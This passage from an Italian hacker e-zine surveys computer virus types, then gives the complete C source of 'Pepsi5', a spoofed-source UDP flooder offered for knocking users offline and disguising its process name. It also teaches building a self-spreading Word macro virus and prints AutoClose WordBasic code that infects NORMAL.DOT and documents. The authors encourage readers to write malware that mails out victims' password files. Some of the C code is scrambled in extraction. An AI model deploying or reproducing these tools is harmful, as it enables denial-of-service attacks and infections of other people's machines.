tendono a diventare sempre piu' sofisticati con l'andare della loro evoluzione.... Percio' Windows [ NON ] e' un virus.... Ok andiamo ora ad esaminare i vari tipi di viruz: Sector (Master Boot Record / Floppy Boot Record): Questo tipo di virus e' stato uno dei primi, attaccano il settore di avvio degli H.D.D. oppure dei floppy, per togliere questi virus, spesso basta scrivere al prompt del DOS: fdsik /mbr questo comando ripulisce il Master Boot Record, non utilizzatelo assolutamente se avete installato un Boot Loader (lilo, loadlin, syslinux, boot manager ecc..) altrimenti verra' cancellato. Questi viruz erano dannosi una volta quando avevamo bisogno del "disco di supplemento" per avviare il dos, oggi non fanno quasi piu' nulla a meno che non accendiamo il pc con un dischetto infetto dentro e nel BIOS abbiamo settato l'opzione che cerca un floppy all'avvio, se ci sono queste condizioni allora sono kazzi. Macro Virus di nuova concezione scritti in Visual Basic, possono essere inseriti nelle macro del lotus, word e di altri programmi, se apriamo il file senza avviare la macro non succede nulla, ma se non lo facciamo rischiamo di riportare danni (si parte dalla semplice impossibilita' di salvare un documento alla formattazione del disco duro). I macro virus sono sempre di piu', ma per sconfiggerli basta solo non attivare le macro ;)))) File Questi si dividono in Residenti e Non-Residenti: Residenti: Una volta avviato il programma sul quale era ospite rimane attivo per sempre. Non-Residente: Smette di funzionate quando viene chiuso il programma ospite. Questo tipo di viruz una volta avviato apre a caso dei file e copia dentro di loro la routine di infezione (i virus hanno questo nome proprio perche' si comportano come quelli esistenti in natura, cioe', entrano in una cellula (il file) attaccano il loro DNA (la routine di infezione) al DNA della cellula (il codice del programma) la cellula continua a funzionare normalmente solo che altera qualche sua funzione e poi muore per lisi (esplosione)) MultiPartito Questi si comportano sia come i Sector virus (o boot virus) sia come i File viruz, in pratica si attaccano come le piattole al boot e quando vengono caricati attaccano i vari altri file del sistema, i floppy, gli eseguibili del dos ecc..Un esempio e' sicuramente il mitico Junkie.1027 Cluster (File System viruses) Secondo me questi sono i tipi di viruz piu' "belli", questi modificano la tabella dei contenuti sull'Hard Disk in modo da far avviare prima il virus e poi il software. Stealth I viruz stealth sono estremamente raffinati, prendono il controllo totale del sistema operativo e di alcune sue funzioni, alterano alcune cose (come ad esempio si copiano su un floppy insieme a cio' che volevano copiarci noi, oppure infettano un file mentre noi lo apriamo ecc..) senza che nessuno se ne possa accorgere e, dal momento che sono invisibili vengono detti "stealth" Polymorphic Il Junkie.1027 oltre ad essere multi partito e' anche Polimorfico cioe', cripta in modo casuale il suo codice ogni volta che deve infettare un file, se confrontiamo un decina di file infettati col Junkie.1027 potremo vedere che sono tutti diversi, appunto per il suo polimorfismo, nonostante tutto questi viruz possono essere rilevati perche' il loro motore di cifratura e' sempre piu' o meno uguale, ecco quello del suddetto Junki.1027 0001: 0002: 0003: 0004: 0005: 0006: 0007: BE0800 MOV B9F401 MOV 26 8134BC2E 46 46 E2F7 SI,0008 CX,01F4 ES: XOR INC INC LOOP WORD PTR [SI],2EBC SI SI $0001 Se infettiamo 10 file di 1 byte con il junkie.1027 vedremmo la loro diversita' (aprendo un file con un editor esadecimale) tranne che per alcuni byte, questi byte possono ancora essere cambiati semplicemente facendo inserire dal junkie.1027 istruzioni inutili come: JMP sulla riga seguente JNZ idem INC bx \ DEC bx /insieme incrementa e decrementa un registro ADD bx,0000 aggiunge 0 ad un registro MOV AL,AL muove il valore di AL in se stesso Ecc... Companion I virus "compagnoni" ;) sfruttano uno dei tanti buchetti della Microsoft, cioe' facciamo una cartella a mettiamo dentro un file che si chiama Dio.com (che per esempio crea un'altra cartella) ed un file che si chiama Dio.exe (che magari crea una cartella con un altro nome) adesso andiamo al dos e scriviamo "Dio" quale dei due verra' eseguito? Sicuramente Dio.com dal momento che il dos da' la priorita' a questo tipo di estensione. Un virus companion non fa altro che creare un file con lo stesso nome dell'altro ma con estenione .com e poi nasconde il .exe Capitooooooooo???? Armored Questi sono viruz che hanno delle istruzioni anti-debug e anti-disassemble, rendono difficile la loro analizzazione, percio' come si puo' fare un antivirus con per un virus che non possiamo analizzare? Se po' fa se po' fa, date il viruz a un cracker e lui lo analizzera' per voi (avete sentito Symantec e McAfee? A-SSU-ME-TE-CI !!!!!!) Criptati Sono simili ai polimorfici ma e' piu' facile trovare due file simili tra loro. Clean on the fly Fantastici virus, riescono ad intercettare le funzioni di lettura di un file, in questo modo il viruz si autocancella dal file quando questo viene letto e si autoreinfetta quando viene richiuso, questi viruz se perfezionati potrebbero raggiungere livelli di invisibilita' altissimi. MBR stealth Uguali ai precedenti tranne per il fatto che infettano l'MBR tenendone un backup e quando un anti-virus cerca di leggerlo il viruz rimette l'MBR vecchio e poi reinfetta tutto dopo la lettura. Size Hiding Niente di particolare, questi viruz non fanno rilevare l'aumento di byte al l'interno dei file. Facciamo un esempio, il virus Quequero infetta N file e aggiunge ad ognuno di questi 5 byte, l'antivirus potrebbe tranquillamente considerare questo aumento come sospettoso e lo segnalerebbe, il programmatore puo' fare in modo di intercettare il controllo della grandezza e potrebbe facilmente sottrargli 5 byte, quasi tutti i virus piu' sofisticati hanno questa funzionalita' oltre ad avere un buon polimorfismo e simili ;)) Overwriting Viruz Supponiamo di avere un virus di questo tipo che si chiama "Plauto", avviamo questo virus ed aspettiamo due ore, controlliamo i file e non vediamo nulla di sospetto, tranne per il fatto che Plauto si e' copiato nel sistema, ha cancellato molti file e si e' rinominato come ognuno di loro ;))))) Bhe' credo di averli elencati quasi tutti, dovrebbero bastare, se avete bisogno di viruz cercate su Astalavista la parola Virii oppure venite sul mio sito ;))) e-mail: [email protected] sito: http://quequero.cjb.net NOTA DI N0bodY88 = non so se vi interessa ma nel nostro gruppo c'e' il creatore del virus Junkie.1027 di cui ha parlato Quequero, vediamo se indovinate chi e' ;) PS: complimenti agli scrittori della sezione VIRUS della ns e-zine che ripeto non e' fatta da hacker ma da smanettoni il cui interesse comune non e' distruggere ma imparare, provare e studiare (xche' no eheheh) ciauz ^_^ ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ NOTA DI N0bodY88 = il prox art. non so credo rientri nella sezione virus ma come i virus parla di qualcosa che serve x dominare!!! ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ °°°°°°°°°°°°°±±±±±±±±±±±±²²²²²²²²²²²²²² °°Pepsi5:°pacchetti±udp±a²tradimento²²² °°°°°°°°°°°°°±±±±±±±±±±±±²²²²²²²²²²²²²² Questo Pepsi5 e' un simpatico floodatore UDP che, usato da una connessione veloce, permette di laggare o addirittura disconnettere un utente. Funziona da Linux, se volete qualcosa per wincazz ce n'e' un casino in giro, ed e' stato scaricato da...non mi ricordo, cmq vi rimango la versione originale. -------------------------Taglia qui----------------------------------------/*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** Pepsi 5.0g by [email protected] (BlackICE) [11|12|98] based on the original pepsi.c code by Soldier Additional Help by Silicate (chuckstalker), LWR, and tq. Beta Testing by Sleak and eclipze. This Code is designed to compile and run on Linux, this code is for inhouse testing only and the authors are not responsible for any use/misuse of it. Greetz to : MostHated, diesl0w, FEENiX, TerrorByt, totempole, aeonflux, AciDpHuck, wait3r, [z], the gH crew and friends. Screw yous: pwr, your lameness is only surpassed by your stupidity, (Hamilton, ON is that far away from me man). *** ...Tred carefully .. you address not the storm .. but the force *** that binds it... *** ***/ /*----------------- [Defines] */ #define Port_Max 65534 #define Packet_Max 1023 #define Frequency_Max 300 #define Default_Fork 0 #define Default_Stealth "(nfsiod)" /* Color Pallete ------------ */ #define B "\033[1;30m" #define R "\033[1;31m" #define G "\033[1;32m" #define Y "\033[1;33m" #define U "\033[1;34m" #define M "\033[1;35m" #define C "\033[1;36m" #define W "\033[1;37m" #define DR "\033[0;31m" #define DG "\033[0;32m" #define DY "\033[0;33m" #define DU "\033[0;34m" #define DM "\033[0;35m" #define DC "\033[0;36m" #define DW "\033[0;37m" #define RESTORE "\33[0;0m" #define CLEAR "\033[0;0H\033[J" /* --------------- [Includes] */ #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/protocols.h> #include <arpa/inet.h> #include <netdb.h> #include <signal.h> #include <netinet/ip_udp.h> #include <string.h> #include <pwd.h> #include <time.h> /* [Banner] */ void banner() { printf("%s",CLEAR); printf("\n\n%sPepsi %s5%s.%s0g %sby SoulBlaze%s@%sundernet %s(%sBlackICE%s) %s[%s11%s|%s12%s|%s98%s]%s\n",R,W,B,W,U,G,U,B,DW,B,DC,DY,DC,DY,DC,DY,DC,RESTORE) ; printf("%sBased on the Original %spepsi%s.%sc %scode by %sSoldier%s\n",DU,R,B,R,DU,W,RESTORE); printf("%sAdditional Help by %sChuckStalker%s,\n",DU,W,RESTORE); printf("%sLWR%s, and %stq%s.\n",W,DU,W,RESTORE); } /* [Option Parsing] */ struct sockaddr_in dstaddr; unsigned long dst; struct udphdr *udp; struct iphdr *ip; char *target; char *srchost; char *stealth; int int int int int int dstport = 0; srcport = 0; numpacks = 0; psize = 0; wait = 0; forknum = 0; /* [Usage] */ void usage(char *pname) { printf("\n\n%sUsage%s %s: %s[%sarguements%s] %s<%sTarget Ip%s>%s\n\n",DG,R,pname,DM,U,DM,DM,U,DM,RESTORE); printf("%sOption Description Default Value\n\n",W,RESTORE); printf("%s-%ss %s<%sSource IP %s> %s: %sPacket Origin Random %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE); printf("%s-%sn %s<%sPacket Num %s> %s: %sLimit of Sent Datagrams Unlimited %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE); printf("%s-%sp %s<%sPacket Size%s> %s: %sDatagram Size 1 - %d bytes%s ] \n",DR,DU,W,DC,W,DW,B,W,DC,Packet_Max,W,RESTORE); printf("%s-%sd %s<%sTarget Port%s> %s: %sDestination Port Random %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE); printf("%s-%so %s<%sSource Port%s> %s: %sSource Port Random %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE); printf("%s-%sw %s<%sFrequency %s> %s: %sDelay Between Each Packet 0 - %d ms%s ] \n",DR,DU,W,DC,W,DW,B,W,DC,Frequency_Max,W,RESTORE); printf("%s-%sf %s<%sFork Number%s> %s: %sNo. of Times Backgrounded 0 Times %s ]%s \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE); printf("%s-%sx %s<%sStealth %s> %s: %sMask Process As %s %s]%s",DR,DU,W,DC,W,DW,B,W,DC,Default_Stealth,W,RESTORE); printf("\n\n"); exit(EXIT_SUCCESS); } /* [In chksum with some mods] */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; sum += *w++; nleft -= 2; } } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17); answer = -sum; return (answer); %s[%s %s[%s %s[%s %s[%s %s[%s %s[%s %s[%s %s[%s /* Resolve Functions */ unsigned long resolve(char *cp) { struct hostent *hp; } hp = gethostbyname(cp); if (!hp) { printf("[*] Unable to resolve %s\t\n", cp); exit(EXIT_FAILURE); } return ((unsigned long) hp->h_addr); void resolvedest(void) { struct hostent *host; } memset(&dstaddr, 0, sizeof(struct sockaddr_in)); dstaddr.sin_family = AF_INET; dstaddr.sin_addr.s_addr = inet_addr(target); if (dstaddr.sin_addr.s_addr == -1) { host = gethostbyname(target); if (host == NULL) { printf("[*] Unable To resolve %s\t\n", target); exit(EXIT_FAILURE); } dstaddr.sin_family = host->h_addrtype; memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length); } memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4); /* Parsing Argz */ void parse_args(int argc, char *argv[]) { int opt; while ((opt = getopt(argc, argv, "x:s:d:n:p:w:o:f:")) != -1) switch (opt) { case 's': srchost = (char *) malloc(strlen(optarg) + 1); strcpy(srchost, optarg); break; case 'x': stealth = (char *) malloc(strlen(optarg)); strcpy(stealth, optarg); break; case 'd': dstport = atoi(optarg); break; case 'n': numpacks = atoi(optarg); break; case 'p': psize = atoi(optarg); break; case 'w': wait = atoi(optarg); break; case 'o': srcport = atoi(optarg); break; case 'f': forknum = atoi(optarg); break; default: usage(argv[0]); } if (!stealth) stealth = Default_Stealth; if (!forknum) forknum = Default_Fork; if (!argv[optind]) { printf("\n\n%s[%s*%s]%s Bzzzt .. We need a Place for the Packets to Go%s\n",DC,W,DC,DR,RESTORE); exit(EXIT_FAILURE); } target = (char *) malloc(strlen(argv[optind])); if (!target) { printf("\n\n%s[%s*%s]%s Unable to Allocate Required Amount of Memory for Task%s\n",DC,W,DC,DR,RESTORE); perror("malloc"); exit(EXIT_FAILURE); } strcpy(target, argv[optind]); } int cloaking(int argc, char *argv[]) { int x; for (x = argc-1; x >= 0; x--) memset(argv[x], 0, strlen(argv[x])); strcpy(argv[0],stealth); return(0); } /* [Send Packet] */ void main(int argc, char *argv[]) { int q, xx, sen, i, unlim = 0, sec_check; char *packet; banner(); if (argc < 2) usage(argv[0]); parse_args(argc, argv); cloaking(argc, argv); resolvedest(); printf("\n\n%s [%s*%s]%s Target Host%s %s%s\n",DC,W,DC,DR,DC,DW,target,RESTORE); if (!srchost) printf("%s [%s*%s]%s Source Host%s :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE); else printf("%s [%s*%s]%s Source Host%s :%s %s\n",DC,W,DC,DR,DC,DW,srchost,RESTORE); if (!numpacks) printf("%s [%s*%s]%s Number%s :%s Infinite%s\n",DC,W,DC,DR,DC,DW,RESTORE); else printf("%s [%s*%s]%s Number%s :%s %d%s\n",DC,W,DC,DR,DC,DW,numpacks,RESTORE); if (!psize) printf("%s [%s*%s]%s Packet Size%s :%s bytes%s\n",DC,W,DC,DR,DC,DW,Packet_Max,RESTORE); else printf("%s [%s*%s]%s Packet Size%s :%s %d%s\n",DC,W,DC,DR,DC,DW,psize,RESTORE); if (!wait) printf("%s [%s*%s]%s Wait Time%s :%s %dms%s\n",DC,W,DC,DR,DC,DW,Frequency_Max,RESTORE); :%s %s 1 - %d 0 - else printf("%s [%s*%s]%s Wait Time%s :%s %d%s\n",DC,W,DC,DR,DC,DW,wait,RESTORE); if (!dstport) printf("%s [%s*%s]%s Destination Port%s :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE); else printf("%s [%s*%s]%s Destination Port%s :%s %d%s\n",DC,W,DC,DR,DC,DW,dstport,RESTORE); if (!srcport) printf("%s [%s*%s]%s Source Port%s :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE); else printf("%s [%s*%s]%s Source Port%s :%s %d%s\n",DC,W,DC,DR,DC,DW,srcport,RESTORE); printf("%s [%s*%s]%s Backgrounded%s :%s %d%s\n",DC,W,DC,DR,DC,DW,forknum,RESTORE); if (!stealth) printf("%s [%s*%s]%s Masked As%s :%s %s%s\n",DC,W,DC,DR,DC,DW,Default_Stealth,RESTORE); else printf("%s [%s*%s]%s Masked As%s :%s %s%s\n",DC,W,DC,DR,DC,DW,stealth,RESTORE); if (forknum) { switch(fork()) { case -1: printf("%s [%s*%s]%s Your OS cant Make the fork() call as we need it",DC,W,DC,DR,RESTORE); printf("%s [%s*%s]%s This is usually an indication of something bad%s",DC,W,DC,DR,RESTORE); exit(1); case 0: break; default: forknum--; for(xx=0;xx<forknum;xx++){ switch(fork()){ case -1: printf("%s [%s*%s]%s Unable to fork%s\n",DC,W,DC,DR,RESTORE); printf("%s [%s*%s]%s This is usually an indication of something bad%s",DC,W,DC,DR,RESTORE); exit(1); case 0: xx=forknum; break; default: } } } } if(xx==forknum-1){ printf("%s [%s*%s]%s exit(0); } break; Process Backgrounded%s\n",DC,W,DC,DR,RESTORE); sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + psize); ip = (struct iphdr *) packet; udp = (struct udphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + psize); if (!numpacks) { unlim++; numpacks++; } if (srchost && *srchost) ip->saddr = resolve(srchost); ip->daddr = dst; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = IPPROTO_UDP; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize); ip->check = in_cksum(ip, sizeof(struct iphdr)); udp->source = htons(srcport); udp->dest = htons(dstport); udp->len = htons(sizeof(struct udphdr) + psize); /* * Because we like to be Original Seeding rand() with something as * unique as time seemed groovy. Lets have a loud Boo for Pattern * Loggers. */ srand(time(0)); for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) { if (!srchost) ip->saddr = rand(); if (!dstport) udp->dest = htons(rand()%Port_Max+1); if (!srcport) udp->source = htons(rand()%Port_Max+1); if (!psize) udp->len = htons(sizeof(struct udphdr) + rand()%Packet_Max); } } if (sendto(sen, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + psize, 0, (struct sockaddr *) &dstaddr, sizeof(struct sockaddr_in)) == (-1)) { printf("%s[%s*%s]%s Error sending Packet%s",DC,W,DC,DR,RESTORE); perror("SendPacket"); exit(EXIT_FAILURE); } if (!wait) usleep(rand()%Frequency_Max); else usleep(wait); -------------------------Taglia qui----------------------------------------Se non dovesse funzionare, non credo, mandatemi un e-mail che attraverso il vostro ip vi formatto l'hard disk (e pensare ci sono persone che credono a queste fesserie, ihihihih). ------->T0rment0<------ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ \\\\\\\\\\\\\\\\\\\\\\ Macro-virus \\\\\\\\\\\\\\\\\\\\\\\ Nel Dicembre del 1994, gli utenti di AOL e di Internet facevano molta attenzione quando aprivano la loro e-mail. Questo perche' allora si parlava molto di un'e-mail chiamata Goodtimes. Se uno di questi apriva la posta,il loro PC veniva subito infettato da un virus. Molti esperti schernirono molto la possibilita'. Dopo tutto, esso prendeva un eseguibile capace di trasmettere il virus. Gli utenti del DOS furono afflissi con le ANSI bombs (un file di testo che quando veniva visto dal comando TYPE cambiava la configurazione della loro tastiera).Dopo le investigazioni, il GoodTimes virus fu giudicato uno scherzo. ma c'e' altro nella storia? C'e' qualche rischio di una propagazione di virus attraverso l'e-mail che usa degli oggetti nascosti (MIME o OLE, per esempio). Un'applicazione nascosta che contiene un virus o un cavallo di troia potrebbe essere spedita in un messaggio di posta elettronica, e quando viene eseguita, infette o reca dei danni al sistema. I programmi di posta elettronica che eseguono automaticamente degli oggetti nascosti in un messaggio ricevuto (come avviare un file sonoro, mostrare un'immagine, o avviare un applicazione) e' un rischio per le mail anonime con virus. Mentre qualche esperto di sicurezza considera il potenziale di un documento basato su virus, i virus che vengono mandati attraverso e-mail tendono ad aumentare. Questo articolo vuole mostrarvi la teoria per creare un macro-virus realizzato con Micro$oft Word, i concetti di un macro-virus, il potenziale, la sua funzione e come sbarazzarsene. Macro-Virus Mentre i creatori di virus si sono concentrati sul codice che lavora al livello del sistema operativo, essi hanno creato applicazioni. Molti programmi di lavoro, per esempio un word processor o un programma di data-base, vengono facilmente potenziati da macro linguaggi. Molte applicazioni hanno la possibilita' di autoeseguire le macro. Questa combinazione fa avere dei seri problemi all'utente che apre un file non sapendo che si tratti di un macro-virus Da ora in poi i documenti con macro-virus li indichero' con la sigla DMV (Documents Macro Virus) per descrivere questo tipo di codice malizioso. Queste sono le caratteristiche del DMV: Il DMV e' scritto nel linguaggio macro di un'applicazione. Esso sfrutta l'abilita' di auto-eseguire dentro un applicazione la macro in qualche evento, come l'apertura o la chiusura di un documento. Una volta eseguito il documento sull'obbiettivo, la macro cresce e puo' infettare parecchi file, soprattutto se e' un trojan. Diversamente da un virus normale o un trojan dove il codice risiede in un eseguibile, un DMV usa le sue applicazioni come intermediarie per eseguire il codice. i DMV sono estremamente semplici da creare. Molti linguaggi macro sono dei BASIC avanzati, alla faccia( beh insomma) di quelli che imparano l'assembler per creare virus. Molti linguaggi macro hanno la possibilita' di implementare nel codice delle chiamate a delle routine esterne (per esempio le funzioni che sono in una dll), questo significa che puo' essere facilmente esteso per creare macro-virus avanzati. Se costruiremo un macro-virus lo dovremmo fare in Visual Basic Per Applicazioni, visto che sotto windows, e' uno dei linguaggi piu' comuni. Uno dei vantaggi del DMV e' che gli antivirus non li riescono a riconoscere visto che non sono degli eseguibili. Ci sono molti tipi di virus che possono essere scritti, tutto sta alla vostra fantasia. Per esempio: Infettare con un virus (ovvio) - Cancellare i file dall'hard disk (solo per necessita') · Rinominare file · Copiare file dal pc-target ad un server(ihihih) Mandare file dal suo hard disk alla tua e-mail attraverso MAPI (Windows) - ecc. ecc. Notate che queste operazioni non si fanno solo dal Word, ma da qualsiasi applicazione che supporta le macro automatiche. Come lavora un DMV di Word Microsoft Word per Windows usa un linguaggio macro chiamato WordBasic. Esso supporta anche una serie di macro automatiche. Se la macro ha un nome riservato, esso esegue automaticamente un evento specifico. Per esempio: Nome della macro AutoExec AutoNew AutoOpen AutoClose AutoExit Quando parte? Quando Quando Quando Quando Quando fai partire Word crei un nuovo documento apri un documento chiudi un documento esci da Word Word per Windows memorizza le macros, come suo unico stile :-P, in un documento temporaneo (file .DOT ). Le macro globali vengono memorizzate in un file chiamato NORMAL.DOT. Se per esempio creiamo una macro chiamata AutoClose, il Word va a verificare se e' presente in NORMAL.DOT. Se non e' presente, esso si copia da solo in NORMAL.DOT. Se e' presente, esso non infettera' il file. Una volta che NORMAL.DOT sara' infetto, ogni qualvolta che chiuderemo un documento in Word la macro sara' eseguita. Word memorizza solo le macro in un documento temporaneo. Tu non puoi addare una macro ad un normale documento Word(.DOC). Questo fa in modo di disabilitare un DMV virus dagli altri documenti. Pero' c'e' una soluzione, un file di word .DOT e' molto simile come formato ad un file .DOC . Questi due hanno lo stesso aspetto e funzionalita' quando sono aperti in Word. In poche parole, potremo rinominare un file .dot con l'estensione .DOC. Per infettare gli altri documenti, la macro, che noi avremmo messo in NORMAL.DOT, guardera' il corrente documento per vedere se esso e' gia' stato infettato con la macro. Se non e' infettato, a macro salvera'il file come un documento temporaneo. A questo punto la macro si copiera' da sola nel documento. Dunque il file sara' .DOC , ma sara' un DOT rinominato. Un DMV per Word e' molto semplice. Esso usa i comandi macros tandard per propagare un virus. Come creare un DMV Per mostrarvi che non bisogna alterare un file .doc per creare una macro, vi spieghero' come farlo: 1. Create una macro chiamata AutoClose 2. Salvatela nel file NORMAL.DOT (default). 3. Andate in un file manager e copiate NORMAL.DOT in TEST.DOT. 4. Scegliete una macro dal menu Strumenti 5. Cancellate l' AutoClose macro da NORMAL.DOT. 6. Aprite TEST.DOT (esso sara' vuoto). 7. Scrivete qualcosa per farlo apparire un normale documento e salvatelo 8. Rinominate test.dot in TEST.DOC. 9. Aprite TEST.DOC con il Word. Quando chiuderete il documento, la macro sara' eseguita. Rimuovere un DMV di Word Cio' e' molto facile. Avviate Word e - Se il file infetto e' aperto, scegliete il comando MACRO dal menu Strumenti. Cancellate la macro dal documento e da normal.dot - Se il file non e' aperto, scegliete il comando Cancellate la macro AutoClose da NORMAL.DOT. Macro nel menu File. Proteggersi dai DMV L'unica corrente applicazione contro i DMV e' aprire il file per vedere se e' presente una macro, visto che e' scritta in ascii. Ogni macro automatica e' facilmente rintracciata scegliendo il comando Macro dal menu Strumenti in Word. La Micro$oft suggerisce di tenere premuto il tasto SHIFT quando si fa partire il Word o di aggiungere l'opzione /m quando si avvia il word. Conclusioni Insomma i DMV rappresentano un buo metodo per propagare virus e trojan. Vista la sua semplicita', molte persone diventeranno dei Virus Writing :-) Ora vi presento la macro di cui vi parlavo prima scritta in Basic da Joel McNamara, l'AutoClose. Fate buon uso delle informazioni che avete acquisito (macche') e se siete particolarmente bravi con il Basic e Visual Basic vi usciranno macro moooolto interessanti. Appena ne fate una utile (tipo una che quando viene aperto un documento vi senda, implementando il winsock, il file delle password attraverso e-mail) contattatemi che mi rubo le vostre idee (naaahh) Vabbe' cmq ci vediamo. Codice di un DMV REM REM REM REM REM This demonstrates an application-specific document virus generated by an automatic macro in Microsoft Word for Windows 6.0. Code is executed each time a document is closed. This macro is only a demonstration, and does not perform any destructive actions. REM REM REM REM REM REM The purpose of this code is to reveal a significant security risk in software that supports macro languages with auto-loading capabilities. Current virus detection tools are not presently capable of detecting this type of virus, and most users are blissfully unaware that threats can come from documents. REM REM REM REM REM REM Paste this code in the macro Window of a Word document template. Save the macro as AutoClose. Enter some random text in the main word processing window and save the document. Now copy the file, naming the new file VIRUS.DOC. Open VIRUS.DOC in Word. It will appear as a normal document, but when you close the document, the virus will execute. REM Message boxes display progress as the code is executed. REM Code is commented. REM Joel McNamara, December 17, 1994 REM ----------------------------------------------Sub MAIN title$ ="Document Macro Virus" MsgBox "Counting global macros.", title$, 16 REM check how many macros are globally available. total = CountMacros(0) present = 0 REM Check and see if the AutoClose macro is installed in global. If total > 0 Then For cycle = 1 To total If MacroName$(cycle, 0) = "AutoClose" Then MsgBox "AutoClose macro vir. is already installed in NORMAL.DOT.", title$, 16 present = 1 End If End If REM Get the current document name. a$ = WindowName$() + ":AutoClose" REM If AutoClose isn't present, then copy it to NORMAL.DOT. If present <> 1 Then MacroCopy a$, "Global:AutoClose" MsgBox "Infected NORMAL.DOT with copy of AutoClose macro virus.", title$, 16 REM The following code infects a document each time it is closed. REM This effectively spreads the macro virus each time an infected REM document is opened by Word. Else REM REM REM REM If AutoClose is already global and the file hasn't been infected yet, save the current file as a template instead of a document so the macro can be attached. REM See if AutoClose is already in the document. Don't need REM to check names because the virus would be the only code REM putting a macro in a document. present = 0 If CountMacros(1) <> 0 Then MsgBox "AutoClose macro virus already present in this document.", title$, 16 present = 1 End If REM Save the document as a template. If present = 0 Then FileSaveAs .Format = 1 MsgBox "Saved current document as template.", title$, 16 REM Then copy the AutoClose macro from NORMAL.DOT. MacroCopy "Global:AutoClose", a$ MsgBox "Infected current doc. with copy of AutoClose macro vir.", title$, 16 End If End If REM REM REM REM After the document or NORMAL.DOT has been infected, then execute the following macro code (this could be destructive, such as a Kill command, invasive, such as a Connect and CopyFile command, or harmless, with no malacious intent). MsgBox "Macro vir. has been spread. Now execute some other code.", title$, 16 End Sub T0rment0 [email protected] ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛÛÛÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°² ²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛ°°°°ÛÛ°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°² ²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛÛÛÛÛÛÛ°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°² ²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛ°ÛÛÛ°°°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°² ²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°² ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³COME PIAZZARE UN BOT-to SENZA FARCELO SALTARE³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ dISCLAIMEr: =========== Mi assumo ogni responsabilita' legale e morale che derivi dall'uso proprio o imporpio di cio' che verra' detto in questo scritto; inoltre, vi incoraggio tutti a inventare di meglio per raggiungere lo Scopo: INFORMATION WANTS TO 